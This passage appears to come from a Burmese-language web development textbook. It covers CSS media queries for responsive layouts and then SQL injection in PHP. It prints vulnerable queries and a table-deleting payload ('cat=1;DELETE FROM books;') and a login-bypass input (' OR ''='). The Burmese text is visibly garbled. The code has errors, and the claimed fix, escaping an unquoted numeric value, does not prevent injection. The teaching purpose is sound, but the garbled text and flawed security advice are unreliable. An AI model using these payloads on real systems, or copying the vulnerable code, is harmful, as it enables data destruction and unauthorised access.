  border-bottom: 1px dotted #2980B9; 
} 
a:hover, a:active { 
  color: #3498DB; 
  border-bottom: 1px solid #2980B9; 
} 

header { 
  text-align: center; 
  margin-bottom: 1em; 
} 

.des { 
  display: block; 
  font-size: 0.8em; 
} 
.logo { 
  font-size: 5em; 
  color: #E74C3C; 
  display: block; 
  margin: 0.5em 0; 
} 

h1 { 
  margin: 0; 
  color: #555; 
  font-family: Georgia; 
  font-weight: normal; 
  font-size: 1.2em; 
} 
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h2 { 
  font-size: 0.8em; 
  color: #aaa; 
  font-weight: normal; 
  margin: 0; 
} 

nav ul { 
  list-style: none; 
  margin: 0; 
  padding: 0; 
  overflow: hidden; 
} 

nav li { 
  margin: 0 1px 1px 0; 
  float: left; 
  width: 49.6%; 
} 
nav li a { 
  font-size: 0.9em; 
  display: block; 
  color: #fff; 
  background: #E74C3C; 
  text-align: center; 
  border: 0 none; 
  padding: 0.5em 0; 
} 

nav li a:hover, nav li a:active { 
  border: 0 none; 
  background: #C0392B; 
  color: #fff; 
} 

.content { 
  margin: 1em 0; 
} 

article { 
  margin: 0.5em; 
  height: 80px; 
  background: #34495E; 
} 

footer { 
  text-align: center; 
  color: #34495E; 
  font-size: 0.8em; 
}

ိရေးထားတဲ့  CSS  ထဲမာှ၊  နားမလညန်ိုငစ်ရော  အသစ်အဆန်းမပါိသးပါဘးူ။  ထးူပခားချက်ြလို့  ိပပာလို့ရေနိုငတ်ာ
ကြိတာ ့ body အတက်ွြ Max Width ကုိြ 30em လ့ုိ သတမ်တှထ်ားပခငး်သာပဖေစ်ပါတယ်။ 
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လက်ြိတွ့မာှ  Screen  Size  အကကီြးအိသးကိြု  Pixel  နဲ့လိုက်ြတက်ွြိနရေင်  မနှး်ဆဖေို့ခက်ြပါတယ်။  တစ်ချို ့  Mobile
Device  ိတကွြ  Screen Size  ိသးိပမယ့်  Resolution  ကြ Desktop  တစ်ချို ့ထက်ြိတာင် ပိုိ ကြာငး်ိနတက်ြပါ
ိသးတယ်။  Pixel များလို့ Screen Size ကကီြးတယ်လို့ တက်ွြမရိေငမ်ာှးသွားမာှပဖေစ်ပါတယ်။ ဒါိအကြာင့် Screen Size
ကုိြ Pixel နဲ့ မတက်ွြိတာပ့ဲ  စာလုံးိရေနဲ့တက်ွြလိုက်ြပခငး် ပဖေစ်ပါတယ်။ Device ကြ Smart Phone ပပဲဖေစ်ပဖေစ် Tablet
ပပဲဖေစ်ပဖေစ်၊ Orientation ကြလညး် Portrait ပပဲဖေစ်ပဖေစ် Landscape ပပဲဖေစ်ပဖေစ်၊ စာလုံးိရေ (၃၀) ိအာက်ြပဲိ ဖောပ်ပနိုငတ်ဲ့
Screen ကုိြ အိသးဆံုး Screen လို့သတမ်တှလ်ိုက်ြပခငး်ပဖေစ်ပါတယ်။ လက်ြရေှိ Style ကြ အ့ဲဒအီိသးဆံုး Screen မာှ
အလပုလ်ပု်ိ စဖေို့ ရေညရ်ေယ်ွိရေးသားထားတဲ့  Style ပဖေစ်ပါတယ်။

ရေလဒကုိ်ြ Browser မာှအကြည့်မယ်ဆုိရေင် ပုံ (၁၄-ဇ) မာှိဖောပ်ပထားသလို ရေရေှိိ နမာှပဖေစ်ပါတယ။်

ပုံ (၁၄-စျ) Example Responsive Design - Smallest Screen

Header  ထကဲြ  Element  ိတကုိွြ  Center  Align  လုပပ်ပးီ  အစဉလ်ိုက်ြိဖောပ်ပထားပါတယ်။  Navigation  ထဲကြ
Menu  ိတကုိွြိတာ့  Width  အတက်ွြ  49.6%  လ့ုိသတမ်တှထ်ားတဲ့အတက်ွြ တစ်လိုငး်မာှ  (၂)  ခပုဆဲန့်လို့  (၂)  ခပုဲ
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ိဖောပ်ပိနပါတယ်။ ဒီ  Design  ဟာ  Mobile Website  ိတမွာှိတွ့ိနအကြ  Design  ပဖေစ်ပပးီ  Screen  အိသးိတနွဲ့
သင့်ိ တာအ်ဆင်  ိပပိစမာှပါ။  ဆက်ြလက်ြပပးီ  Screen  အကကီြးိတအွတက်ွြ  CSS Style  ိတ ွ ပဖေည့်စွက်ြိပးပါမယ်။
ိရေးလက်ြစ Style ထမဲာှပဲိ ပးထားတဲ့ ပဖေည့်စွက်ြချက်ြကုိြိရေးသားိပးပါ။

@media (min-width: 33em) { 
  body { 
    padding: 1.6em; 
    max-width: 60em; 
  } 

  header { 
    overflow: hidden; 
    text-align: left; 
  } 

  .logo { 
    float: left; 
  } 

  hgroup { 
    float: left; 
    margin: 1.6em 0 0 1em; 
  } 

  .des { 
    float: right; 
    margin-top: 3em; 
  } 

  h1 { 
    font-size: 1.6em; 
  } 

  nav { 
    background: #E74C3C; 
  } 

  nav ul li { 
    width: auto; 
    border-right: 1px solid #C0392B; 
  } 
  nav ul li a { 
    font-size: 1em; 
    padding: 0.5em 3em; 
  } 
  .content { 
    overflow: hidden; 
  } 
  article { 
    height: 120px; 
    width: 23.2%; 
    float: left; 
  } 
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  footer { 
    border-top: 1px solid #BDC3C7; 
    padding-top: 0.5em; 
  } 
}

@media (min-width: 33em) လို့ိရေးသားသတမ်တှထ်ားတဲ့  Media  Query  အတငွး်မာှ  Style  ိတကုိွြ
သတမ်တှထ်ားလို့  ဒီ  Style  များကုိြ  စာလုံးိရေအနညး်ဆံုး  (၃၃)  လံုးိဖောပ်ပနိုငတ်ဲ့  Screen  မသှာ  အသံုးပပု  ပါလို့
သတမ်တှလ်ိုက်ြတဲ့သိဘာပဖေစ်ပါတယ်။  ဒါိအကြာင့်  ိရေးသားထားတဲ့  CSS  များဟာ  Screen  အိသးိတမွာှ  ထည့်
သွငး်အလပုလ်ပုမ်ာှမဟတုပ်၊ဲ  စာလုံး  (၃၃)  လုံးနဲ့အထက်ြ ိဖောပ်ပနိုငတ်ဲ့  Screen  များမာှသာ အလပုလ်ပု်ိ ပးသွားမာှ
ပဖေစ် ပါတယ်။

ပဖေည့်စွက်ြထားတဲ့  CSS  Rule  များမာှ  ထးူပခားချက်ြရေယလ်ိုိ့ ပပာပိလာက်ြိအာငမ်ရေှိပါဘူး။   Header  အတငွး်ကြ
Element များကုိြ Float လုပပ်ပးီ ဘယ်/ညာ ကြပ်ိ စလိုက်ြပခင်းနဲ့၊  Navigation ထဲကြ Menu များမာှ သတမ်တှထ်ား
တဲ့  Width  ကုိြ  Auto  လို့ ိပပာငး်လသဲတမ်တှလ်ိုက်ြပခင်းတို့သာ ပဖေစ်ပါတယ်။  Article Element  ိတကုိွြလဲ  Width
သတမ်တှလ်ိုက်ြပပးီ  Float  လုပထ်ားလိုက်ြပါတယ်။ အခုိ နရေလဒကုိ်ြ  Browser  မာှအကြည့်ရေင်  ပုံ  (၁၄-ည) မာှ ိဖောပ်ပ
ထားသလို ရေရေှိိ နမာှပဖေစ် ပါတယ်။

ပုံ (၁၄-ည) Example Responsive Design - Biggest Screen

ပုံမနှ်  Desktop  Website  ိတမွာှ  ိတွ့ ပမင်ိ နအကြ ပုံသဏာနတ်စ်ခကုိုြ  ရေရေှိိ နပခငး်ပဖေစ်ပါတယ်။  Responsive
လပု်ိ ဆာငခ်ျက်ြစတငရ်ေရေှိိ နပါပပ။ီ Browser Window ရေဲ့  Size ကုိြ ချုံ့အကြည့်ပခငး်၊ ချဲ့ အကြည့်ပခငး်အားပဖေင့်စမး်သပန်ိုင်
ပါတယ်။ Window အိတာ် ိသးသွားတဲ့အခါ ပုံ (၁၄-စျ) မာှရေရေှိိ နသလို Mobile Website တစ်ခက့ဲုြသုိ့ ိပပာငး်ပပးီ
ိဖောပ်ပိပးသွားမာှပဖေစ်ပပီး  Window  ကကီြး သွားတဲ့အခါ  ပုံ  (၁၄-ည) မာှိတွ့ိနရေသလို  Desktop Website  အိနနဲ့
ပပန်  လည်ိ ဖောပ်ပိပးသွားမာှပဖေစ်ပါတယ်။  ဒါိပမယ့်  အလယ်အလတ်  Screen Size  ိတအွတက်ွြ သိပ်အဆငမ်ိပပ
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ိသးပါဘူး။ ဒါိအကြာင့် Tablet Screen (သုိမ့ဟတု်) Phone Screen ကုိြ Landscape Mode မာှ ထားတဲ့အိန အ
ထားတိုန့ဲ့အဆင ်ိပပိစဖေို့ ထပမ်ပံဖေည့်စွက်ြိပးပါမယ်။

@media (min-width: 30em) and (max-width: 60em) { 
  body { 
    width: 36em; 
  } 
  .des { 
    display: block; 
    float: none; 
    text-align: center; 
    margin-top: 0; 
  } 

  nav { 
    background: transparent; 
  } 

  nav ul li { 
    width: 33%; 
    border: 0 none; 
  } 

  article { 
    width: 46%; 
  } 
} 

@media (min-width: 30em) and (max-width: 60em) လ့ုိ Media Query ကုိြ သတမ်တှထ်ားတဲ့
အတက်ွြ ဒီ Style Rule ိတကုိွြ စာလုံး (၃၀) နဲ့ (၆၀) အကြားိဖောပ်ပနိုငတ်ဲ့ Screen ိတမွာှပဲ ထည့်သွငး်အလပုလ်ပု်ိ ပး
မာှပဖေစ်ပါတယ်။ ပထမ @media Query အတက်ွြ (၃၃) နဲ့အထက်ြလို့သတမ်တှထ်ားခဲ့လို့ ပထမ Query နဲ့သတမ်တှ်
ထားတဲ့  Style  ိတကွြလညး်  Screen  အလတစ်ားိတမွာှ ဆက်ြလက်ြသက်ြိရောက်ြိနဦးမာှ ပဖေစ်ပါတယ်။ ဒါိအကြာင့်
အများကကီြးပဖေည့်စွက်ြဖေို့မလိုိ တာပ့ါဘူး။ Navigation Menu နဲ့ Article တို့ရေဲ့  Width ကုိြ ချနိည်ှိပခငး်ိလာက်ြ ကုိြသာ
ပပုလပုထ်ားပါတယ်။

အခုိ န Browser Window ရေဲ့  Size ကုိြ အလယ်အလတ်ိ လာက်ြထားပပးီ စမး်သပအ်ကြည့်ရေင်  ပုံ  (၁၄-ဋ) မာှ ိဖောပ်ပ
ထားသလို ရေလဒကုိ်ြရေရေှိိ နမာှပဖေစ်ပါတယ်။
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ပုံ (၁၄-ဋ) Example Responsive Design - Medium Sized Screen

ိဖောပ်ပပုံကြ အိသးဆံုး Screen မာှိဖောပ်ပပုံနဲ့ဆငပ်ါတယ်။ ဒါိပမယ့် ိနရောနညး်နညး်ပိုကြျယ်လို့  Menu ကုိြ သံုးခတုွဲ
ိဖောပ်ပပပးီ  Article  ကုိြလညး်နစ်ှခတုွဲိ ဖောပ်ပထားပခငး်ပဖေစ်ပါတယ်။  ဒနီညး်နဲ့  Screen  Size  ိပပာငး်သွားတိုငး်
လိုက်ြဖေက်ြညတီဲ့ Style နဲ့ ိပပာငး်လဲိ ဖောပ်ပိပးနိုငတ်ဲ့ Responsive Design ိတကုိွြ ရေရေှိနိုင်ိ စပါတယ်။

ကြျွန်ိ တာတ်ို့နမနူာမာှ Screen (၃) မျို းအတက်ွြပဲ စဉး်စားထားပါတယ်။ စာလုံး (၃၀) ိအာက်ြပဲိ ဖောပ်ပနိုငတ်ဲ့ Screen
ိတကွြိတာ့ Smart Phone Screen ိတပွဖေစ်မာှပဖေစ်ပါတယ်။ စာလုံး (၃၀) နဲ့ (၆၀) အကြားိဖောပ်ပနိုငတ်ဲ့ Screen ိတွ
ကြိတာ့  Tablet Screen  နဲ့  Smart Phone  ကုိြ  Landscape Mode  မာှထားတဲ့အိနအထားတို့ ပဖေစ်မာှပါ။ စာလုံး
(၆၀) အထက်ြပဖေစ်သွားရေင်ိ တာ့ Table ကုိြ Landscape Mode မာှထားတဲ့အိနအထားနဲ့ Desktop Screen တို့ ပဖေစ်
မာှပပဲဖေစ် ပါတယ်။ (၃) မျို းပသဲတမ်တှထ်ားိပမယ့် Screen အားလုံးကုိြ Cover ပဖေစ်ိစနိုငတ်ဲ့ နညး်စနစ်တစ်ခပုဖေစ် ပါ
တယ်။
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Conclusion
Mobile Web နဲ့ပတသ်က်ြရေင် ပဖေည့်စွက်ြသတပိပုစရောတစ်ခ ုရေှိပါတယ်။ တစ်ချို ့အလပုလ်ပုပ်ုံရှုပ်ိ ထးွတဲ့ App  ိတမွာှ
Mobile အတက်ွြသီးပခား Website တစ်ခအုိနနဲ့ တည်ိ ဆာက်ြထားဖေို့လိုိ ကြာငး်လိုတက်ြပါတယ်။ ဥပမာ- Gmail,
Facebook, Twitter စတဲ့ Website ိတကုိွြ Mobile Device နဲ့ ဝင်ိ ရောက်ြအကြည့်ရှုရေင်ိ တွ့ ပမငရ်ေတဲ့ Website ကြ
အခကုြျွန်ိ တာတ်ို့ိ ဖောပ်ပခဲ့တဲ့  Responsive Style နဲ့တည်ိ ဆာက်ြထားပခင်းမဟတုပ်ဲ သီးပခား  Website တစ်ခအုိန
နဲ့ တည်ိ ဆာက်ြထားတဲ့  Design ကုိြ ိတွ့ ပမငရ်ေပခငး်ပဖေစ်ပါတယ်။

အမနှ်ိ တာ့ အ့ဲဒလီို  Desktop  အတက်ွြ Website  တစ်ခ၊ု  Mobile  အတက်ွြ  Website  တစ်ခု ခွဲပခားတည်ိ ဆာက်ြရေ
တာ  အလနွပ်ငပ်နး်ပါတယ်။  တည်ိ ဆာက်ြလိုက်ြယံုနဲ့  မပပးီပါဘးူ။  Maintenance  ကြရေှိပါိသးတယ်။  တစ်ခခုပုပင်
ဆငပ်ဖေည့်စွက်ြလိုရေင်  Website  နစ်ှခလုုံးမာှလိုက်ြပပးီပပင်ဆငရ်ေိတာမ့ာှပါ။ ဒါိတာငမ်ှ  Table  အတက်ွြ ိနာက်ြတစ်ခု
သီးပခားခွဲပပီး တည ်ိဆာက်ြရေင ်(၃) ခ ုပဖေစ်သွားနိုငပ်ါိသးတယ်။

Responsive Design ကြိတာ့ Website တစ်ခတုညး်ကုိြပဲ Screen Size ိပါ်မတူညပ်ပးီ Design အလိုအိလျှာက်ြ
ိပပာငး်ိပးသွားလို့  အများကကီြးလယ်ွကူြသက်ြသာပါတယ်။  ဒါိအကြာင့်  Mobile  Web  အတက်ွြ  စဉး်စားရေင်
Responsive  Design  ကုိြသာ ပထမဦးစားိပးအိနနဲ့  စဉး်စားသင့်ပါတယ်။  App  ကြ  Responsive  ပဖေစ်ိအာင်
ဖေနတ်းီလို့ မရေနိုင်ိ လာက်ြိအာငပ်ါဝငတ်ဲ့လပု်ိ ဆာငခ်ျက်ြိတမွျားိနရေင်ိ တာ့ တစ်ခါတစ်ရေသီံးပခား  Website  အပဖေစ်
ဖေနတ်းီဖေိုလ့ိုနိုင်ိ အကြာငး် ိဖောပ်ပလိုက်ြရေပါတယ်။
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အခနး် (၁၅) Web App Security
လုံပခုံိရေးဆိုင်ရော သိမှတ်ဖွေယရ်ောများ

ကြျွန်ိ တာတ်ို့  ိရေှ့ဘက်ြမာှိရေးသားခဲ့တဲ့နမနူာိတမွာှ  လုံပခုံိရေးကုိြ  လုံးဝထည့်သွင်းစဉး်စားခဲ့ပခင်း  မရေှိပါဘးူ။  Web
App  Security  ကုိြနားလညသူ်တစ်ိယာက်ြသာ ဒစီာအုပကုိ်ြဖေတ်ိ နမယ်ဆိုရေင်  လုံပခုံိရေးအားနညး်တဲ့  Code  ိတွ
ိရေးပပိနလို့ဆုိပပီး ိကြာငး်ိကြာငး်ိဝဖေန် ိနိလာက်ြပါပပ။ီ အမနှ်ိ တာ့ သက်ြဆိငုရ်ောနညး်ပညာများရေဲ့  အလပုလ်ပုပ်ုံကုိြ
ရေငှး်လငး်ပမငသ်ာိစဖေို့ နမနူာိတကုိွြ အတက်ြနိုငဆံု်းရုိးရေငှး်ိအာင် ိရေးသားခဲ့ရေတဲ့အတက်ွြ လုံပခုံိရေးဆုိငရ်ော ကိြစ္စ တွ
ကုိြ ထည့်သွငး်မိဖောပ်ပနိုငခ်ဲ့တာပါ။ 

လုံပခုံိရေးဟာခက်ြပါတယ်။  နညး်ပညာအရေ  ခက်ြတာမဟတုပ်ါဘးူ။  တာဝနက်ကီြးပပးီ  ိထာင့်စိိအာငစ်ဉး်စားရေတဲ့
အတက်ွြ ခက်ြတာပါ။ ဘာနဲ့တလူဆုိဲိတာ၊့ အိမတ်စ်လုံးကိြု ဘက်ြစံုကြလုံပခုံိနိအာငတ်ည်ိ ဆာက်ြရေတာ ခက်ြသလိုပါ
ပ။ဲ  တံခါး  ိတအွိသအချာတပ၊်  ိသာ့ိ တွိ သချာခတ၊်  ပပူတငး်ိပါက်ြိတလွုံပခုံိအာငလ်ပု၊်  ပခစံညး်ရုိးိတ ွခိုငမ်ာ
ိအာငတ်ည်ိ ဆာက်ြ  စသပဖေင့်  ိဆာငရ်ေက်ွြဖေို့လိုပါတယ။်  တစ်ိနရောမှ  ကြျနခ်ဲ့လိုမရေပါဘးူ။  ဒအိီမကုိ်ြခိုးဝငလ်ိုသူတစ်
ိယာက်ြအတက်ွြိတာ့  တတူစ်ိချာငး်  ဒါမမှဟတု်  သံတရူေငွး်တလက်ြရေှိယံုနဲ့  ပပငတ်ငး်ိပါက်ြမနှကုိ်ြခွဲပပီး  ဝငလ်ို့ရေသွား
နိုငပ်ါတယ။် ကြာကွြယ်ရေခက်ြသိလာက်ြ အားနညး်ချက်ြိသးိသးိလး တစ်ခုိ အကြာင့် ခိုးဝငဖ်ေိုသိ့ပလ်ယ်ွသွားတက်ြပါ
တယ်။ ဒအီကြားထဲ အိမမ်ာှိနတဲ့သူကြ ိသာခ့တဖ်ေို့ ိမ့သွားရေငလ်ညး် သူခိုးကြဝငန်ိုငပ်ါိသးတယ်။ ိသာခ့တဖ်ေို့ိ မသူ့ရေဲ့
အပပစ်ဆုိိပမယ့် အိမ်ိဆာက်ြိပးသူိတမွာှ တာဝနမ်ကြငး်ပပနပ်ါဘးူ။ 

ပပးီိတာ့  အပပငမ်ာှဆုိရေငရ်ေဲိ တရွေှိပါတယ်။  သူခိုးဝငမ်နှး်သိလိုိ့ အာလ်ိုက်ြရေင်  ရေပကွ်ြက်ြကြ  အကူြအညီိ ပးနိငုပ်ါတယ်။
အငတ်ာနက်ြမာှိတာရ့ေလဲညး်မရေှိလို့  ခိုးဝငခ်ရံေရေငလ်ညး် ထိိရောက်ြိအာငအ်ိရေးယူဖေိုခ့က်ြပါတယ်။ အကူြအညီိ တာငး်
လို့လညး် ဘယ်သူကြမှ  လက်ြထလိက်ြိရောက်ြ ကူြညလီို့မရေပါဘးူ။  အအကံြိပးယံုိလာက်ြသာ ိပးနိုငမ်ာှပါ။  ဒါိအကြာင့်
အိမလ်ုံဖေို့ အတက်ွြ တည်ိ ဆာက်ြသူိရော အိမမ်ာှိနတဲ့သူကြပါ အထးူအကြပမ်တသ်တရိေှိဖေို့လိုအပပ်ါတယ်။ ကြာကွြယ်ပခငး်
နညး်လမး် တစ်ခပုရဲေှိပပးီ ခိုးဝငခ်ခံဲ့ရေရေင ်ဘာကုိြမှ အစားပပနရ်ေမာှမဟတုလ်ို့ တာဝနက်ကီြးလပှါတယ်။ 

ဒလီိုအိပခအိနမျို းိတွိ အကြာင့်  လံုပခုံိရေးဟာခက်ြတယ်လိုိ့ ပပာတာပါ။  ခိုးဝငသူ်ိတ ွ သံုးိလရ့ေှိတဲ့  နညး်စနစ်ိတနွဲ့
လုံပခုံိရေး  ကြျွမး်ကြျငသူ်ိတွိ ပးတဲ့  အအကံြပပုချက်ြိတကုိွြ  နားလည်ိ အာင်ိ လလ့ာပပးီ  လုံပခုံိရေးအစီအမံိ တ ွိဆာင်
ရေက်ွြထားရေမာှပါ။ 
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Web  App  ိတ ွ တည်ိ ဆာက်ြရောမာှ  အပမထဲည့်သွငး်စဉး်စားသင့်တဲ့  လုံပခုံိရေးပပဿနာများကုိြ  ိဖောပ်ပိပးသွားပါ
မယ်။

15.1 - SQL Injection
Web App Security မာှ အန္တရောယ်များပပးီ ထခိိုက်ြလယ်ွတာကြိတာ့ SQL Injection ပဖေစ်ပါတယ်။ လိုရေငး် ကြိတာ့
User Input ိတထွမဲာှ SQL Query ိတွိ ရောထည့်ိ ပးပပးီ ထခိိုက်ြိစတဲ့ Attack တစ်မျို းပဖေစ်ပါတယ်။ အခန်း (၇)
မာှ ကြျွန်ိ တာတ်ို့တည် ိဆာက်ြခဲ့တဲ့  Online Book Store  နဲ့နမနူာအကြည့်နိုငပ်ါတယ်။  Online Book Store  ရေဲ့
Home Page  မာှ စာအုပ်ိ တကုိွြ  Category  အလိုက်ြ ိရေးွချယ်အကြည့်ရှုနိုငတ်ဲ့  လပု်ိ ဆာငခ်ျက်ြတစ်ခု ပါဝငပ်ါတယ။်
အကြည့်ရှုဖေိုအ့သံုးပပုရေမယ့် URL ကြ အခလုိုပုံစံပဖေစ်မာှပါ။

http://localhost/store/index.php?  cat=1  

URL  မာှပါဝငတ်ဲ့  cat တနဖ်ေိုးကုိြအသံုးပပုပပးီ စာအုပမ်ျားကုိြ သက်ြဆုိငရ်ော  Category  အလိုက်ြ ရေယူပခင်းအလပုကုိ်ြ
Script ထဲမာှ အခလုိုိ ရေးသားထားပါတယ် - 

$cat_id = $_GET['cat']; 
$sql = "SELECT * FROM books WHERE category_id = $cat_id";
$books = mysqli_query($conn, $sql);

URL  နဲ့အတပူါဝငလ်ာတဲ့တနဖ်ေိုးကုိြ  SQL Query  ထဲမာှထည့်သွင်းပပးီ အလပုလ်ပု်ိ စလိုက်ြပခငး်ပဖေစ်ပါတယ်။ ပုံမနှ်
အသံုးပပု  သူ  တစ်ိယာက်ြအိနနဲ့  ဒီ  URL  ကုိြ  လက်ြနဲ့ပဖေည့်သွင်းစရောိတာငမ်လိုပါဘူး။  ိပးထားတဲ့  Category
Menu ကြိန တစ်ဆင့် အသုံးပပုနိုငပ်ါတယ်။ ဒါိပမယ့် App ကုိြ ထိခိုက်ြိစလိုသူကြ ဒီ URL မာှပါဝငတ်ဲ့ တနဖ်ေိုးကိြု
အခလုို ပပငဆ်ငပ်ပီး ဒကုြ္ခ ပးနိုငပ်ါတယ။်

http://localhost/store/index.php?  cat=1;DELETE FROM books;  

cat အတက်ွြတနဖ်ေိုးကြ  ရုိးရုိးတနဖ်ေိုးတစ်ခမုဟတု်ိ တာပ့ဲ  SQL  Command  ိတ ွ ပါဝငလ်ာပခငး်ပဖေစ်ပါတယ်။  ဒီ
တနဖ်ေိုးကုိြ Script ထကဲြ SQL မာှထည့်သွင်းလိုက်ြတဲ့အခါ တစ်ကြယ်အလပုလ်ပုသွ်ားမယ့်ပုံစံကြ အခလုိုပါ -

SELECT * FROM books WHERE category_id = 1;DELETE FROM books;

SELECT Query  နဲ့  DELETE Query  နစ်ှခပုဖေစ်သွားပပးီ၊ နစ်ှခလုုံးအလပုလ်ပုသွ်ားမာှပဖေစ်လို့  books Table  ထဲကြ
Record ိတအွားလုံးပျက်ြသွားမာှပဖေစ်ပါတယ်။ ဒလီို Attack မျို းကုိြ SQL Injection Attack လ့ုိိခါ်တာပါ။  Input
တနဖ်ေိုးထမဲာှ SQL Query ိတ ွထည့်သွင်းပပးီ တိုက်ြခိုက်ြတဲ့နညး်လမး်ပဖေစ်ပါတယ်။ ပုံ (၁၅-ကြ) မာှလညး် ဒသီိဘာ
ကုိြ ိလလ့ာနိုငပ်ါတယ်။
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ပုံ (၁၅-ကြ) SQL Injection

ဒါဟာ  Web App  ိတကုိွြ အကကီြးအကြျယ်ဒကုြ္ခ ပးိနတဲ့ တိုက်ြခိုက်ြနညး်တစ်ခပုါ။ ဥပမာတစ်ခုိ လာက်ြ ိဖောပ်ပပါဦး
မယ်။ ကြျွန်ိ တာတ်ို့မာှ  Login Form တစ်ခရုေှိပပးီ ထည့်သွငး်ိပးလိုက်ြတဲ့ User Name နဲ့ Password ကုိြ Database
Table ကြိန ရေယူစစ်ိဆးတဲ့အလပုအ်တက်ွြ အခလုိုိ ရေးသားထားတယ် ဆုိအကြပါစုိ ့-

$name = $_POST['name'];
$pass = $_POST['pass'];

$sql = "SELECT * FROM users WHERE name='$name' AND password='$pass'"
$result = mysqli_query($conn, $sql);

if( mysqli_nums_row($result) ) {
  $_SESSION['auth'] = true;
}

Login Form ကြိနပဖေည့်သွင်းလာတဲ့ User Name နဲ့ Password ကုိြ users Table ထဲမာှရေှိမရေှိစစ်ိဆးပပးီ ရေှိတယ်
ဆုိရေင် Login ခငွ့်ပပုလိုက်ြဖေို့ ိရေးသားထားတာပါ။ ဒါကုိြ User Account အမနှတ်စ်ကြယ်မရေှိတဲ့ Attacker ကြ User
Name အတက်ွြအမညတ်စ်ခနုဲ့  Password အတက်ွြ ' OR ''=' လို့ ထည့်သွငး်ပခငး်အားပဖေင့်  Login ိအာငပ်မင်
သွားိစနိုငပ်ါတယ်။ အလပုလ်ပုသွ်ားမယ့် SQL ကြ အခလုိုပုံစံ ပဖေစ်သွားတဲ့အတက်ွြပါ - 

SELECT * FROM users WHERE name='fake' AND password='' OR ''=''

User Name နဲ့  Password မမနှ်ိ ပမယ့် ိနာက်ြကြဆကြလ်ိုက်ြထားတဲ့ OR ''='' ိအကြာင့် users Table ထကဲြ
Record ိတကုိွြထတုယူ်ိပးသွားနိုငမ်ာှပါ။ ဒီိ တာ့  Script  ကြလညး် Record ထတုယူ်နိုငရ်ေင်  User Account  မနှ်
တယ် ဆုိတဲ့သိဘာနဲ့ ိရေးထားမလိို့ Login ကုိြ ခငွ့်ပပုလိုက်ြမာှပဖေစ်ပါတယ်။
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Preventing SQL Injection in PHP
SQL Injection  ကုိြကြာကွြယ်နိုင်ိ စမယ့် နညး်လမး်နစ်ှခုိ ဖောပ်ပလိုပါတယ်။ နမနူာိဖောပ်ပခဲ့တဲ့  Code  များကုိြအခလုို
ပပငဆ်င် လုိက်ြပခငး်အားပဖေင့် SQL Injection Attack ကုိြ ကြာကွြယန်ိုငပ်ါတယ်။

[ Example 1 ]

$cat_id = mysqli_real_escape_string( $conn, $_GET['cat'] ); 
$sql = "SELECT * FROM books WHERE category_id = $cat_id";
$books = mysqli_query($conn, $sql);

[ Example 2 ]

$name = mysqli_real_escape_string( $conn, $_POST['name'] );
$pass = mysqli_real_escape_string( $conn, $_POST['pass'] );

$sql = "SELECT * FROM users WHERE name='$name' AND password='$pass'";
$result = mysqli_query($conn, $sql);

Input  တနဖ်ေိုးများကုိြ  SQL  ထမဲထည့်ခင်  mysqli_real_escape_string() Function  နဲ့  Filter  လုပ်
ိပးလိုက်ြ ပခငး်ပဖေစ်ပါတယ်။ ဒ ီFunction ကြ Input String ထဲမာှပါဝငလ်ာတဲ့ Special Character ိတကုိွြ Escape
လပု်ိ ပးသွားမာှပါ။  ပပးီခဲ့တဲ့  နမနူာမာှိဖောပ်ပခဲ့တဲ့  SQL Inject  Attack  ကုိြ  ဒီ  Function  နဲ့  စစ်လိုက်ြတဲ့အတက်ွြ
ရေလဒက်ြအခလုိုပဖေစ်သွား မာှပါ - 

SELECT * FROM users WHERE name='fake' AND password='\' OR \'\'=\''

Special  Character  ပဖေစ်တဲ့  Single  Quote  ိတကုိွြ  Backslash  နဲ့  Escape  လုပ်ိ ပးသွားမာှပဖေစ်လို့  Query
Operator အိနနဲ့အလပုမ်လပု်ိ တာပ့ဲ ကြျွန်ိ တာတ်ို့  Script ကုိြလညး် ဒကုြ္ခမိပးနိုင်ိ တာပ့ါဘးူ။ Input အားလုံးကုိြ
သာ ဒ ီFunction နဲ့ ဂရုတစုိက်ြစစ်ိပးနိုငမ်ယ်ဆိုရေင ် SQL Injection Attack များကုိြ စိတပ်ဖူေို့မလိုိ တာပ့ါဘးူ။ 

ိနာက်ြတစ်နညး်အိနနဲ့ အပခား Database လပု်ိ ဆာငခ်ျက်ြတစ်ခပုဖေစ်တဲ့ PDO ကုိြ အသံုးပပု ကြာကွြယ်နိငုပ်ါတယ်။

PHP Data Objects - PDO
PDO  ဟာ  PHP 5.1  နဲ့အတစူတငပ်ါဝငလ်ာတဲ့  Data  Access  Layer  တစ်ခပုဖေစ်ပါတယ်။ ထးူပခားချက်ြကြိတာ့
Database  အမျို းမျို းနဲ့ချတိဆ်က်ြပပးီ  အလပုလ်ပု်ိ ပးနိုငပ်ါတယ်။  ဒါိအကြာင့်  MySQL  တငမ်ကြပဲ  Oracle,
MSSQL, Sqlite, PostgreSQL စတဲ့ Database Server များနဲ့လညး် တွဲဖေက်ြအလပုလ်ပုန်ိုငပ်ါတယ်။ ကြျွန်ိ တာ်
တို့ကြိတာ ့ PDO ကုိြ MySQL Database နဲ့ အသံုးပပုပုံကုိြသာိလ့လာသွားမာှပဖေစ်ပါတယ်။

MySQL  Database  ိတနွဲ့အလပုလ်ပု်ိ တာမ့ယ်ဆုိရေင်  ပထမဦးဆံုး  လပုရ်ေတဲ့အလပုက်ြ  Database  Server  ကုိြ
ချတိဆ်က်ြပခငး်နဲ ့အသံုးပပုမယ့် Database ကုိြ ိရေးွချယ်ိပးပခငး်ပဖေစ်ပါတယ်။ ဒလီိုိ ရေးသားခဲ့အကြပါတယ် -
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$conn = mysqli_connect("localhost", "root", "");
mysqli_select_db($conn, "mydb");

အလားတ ူလုပ်ိ ဆာငခ်ျက်ြရေဖေို့အတက်ွြ PDO သံုးပပးီ အခလုိုိ ရေးသားိပးရေပါတယ် -

$conn = new PDO('mysql:host=localhost;dbname=mydb', "root", "");

new Keyword  ကုိြသံုးပပးီ  PDO Instant  တစ်ခုိ အကြပငာသတမ်တှရ်ေပါတယ်။ ဒလီိုသတမ်တှတ်ဲ့အခါ နမနူာမာှိပး
ထားသလို Connection String ကုိြ ထည့်သွငး်ိပးရေမာှပဖေစ်ပါတယ်။ mysql: ိနရောမာှ ချတိဆ်ကြလ်ိုတဲ့ Database
အမျို းအစားကုိြ ိရေးွချယ်ိပးရေမာှပဖေစ်ပပးီ သူ့ိ နာက်ြကြလိုက်ြတဲ့ Connection String ကြိတာ့ Database ိပါ်မတူည်
ပပးီ ကွြာသွားနိုငပ်ါတယ။် MySQL အတက်ွြ host နဲ့  dbname ကုိြ တွဲဖေက်ြိပးရေပါတယ်။ ိနာက်ြထပ် Parameter
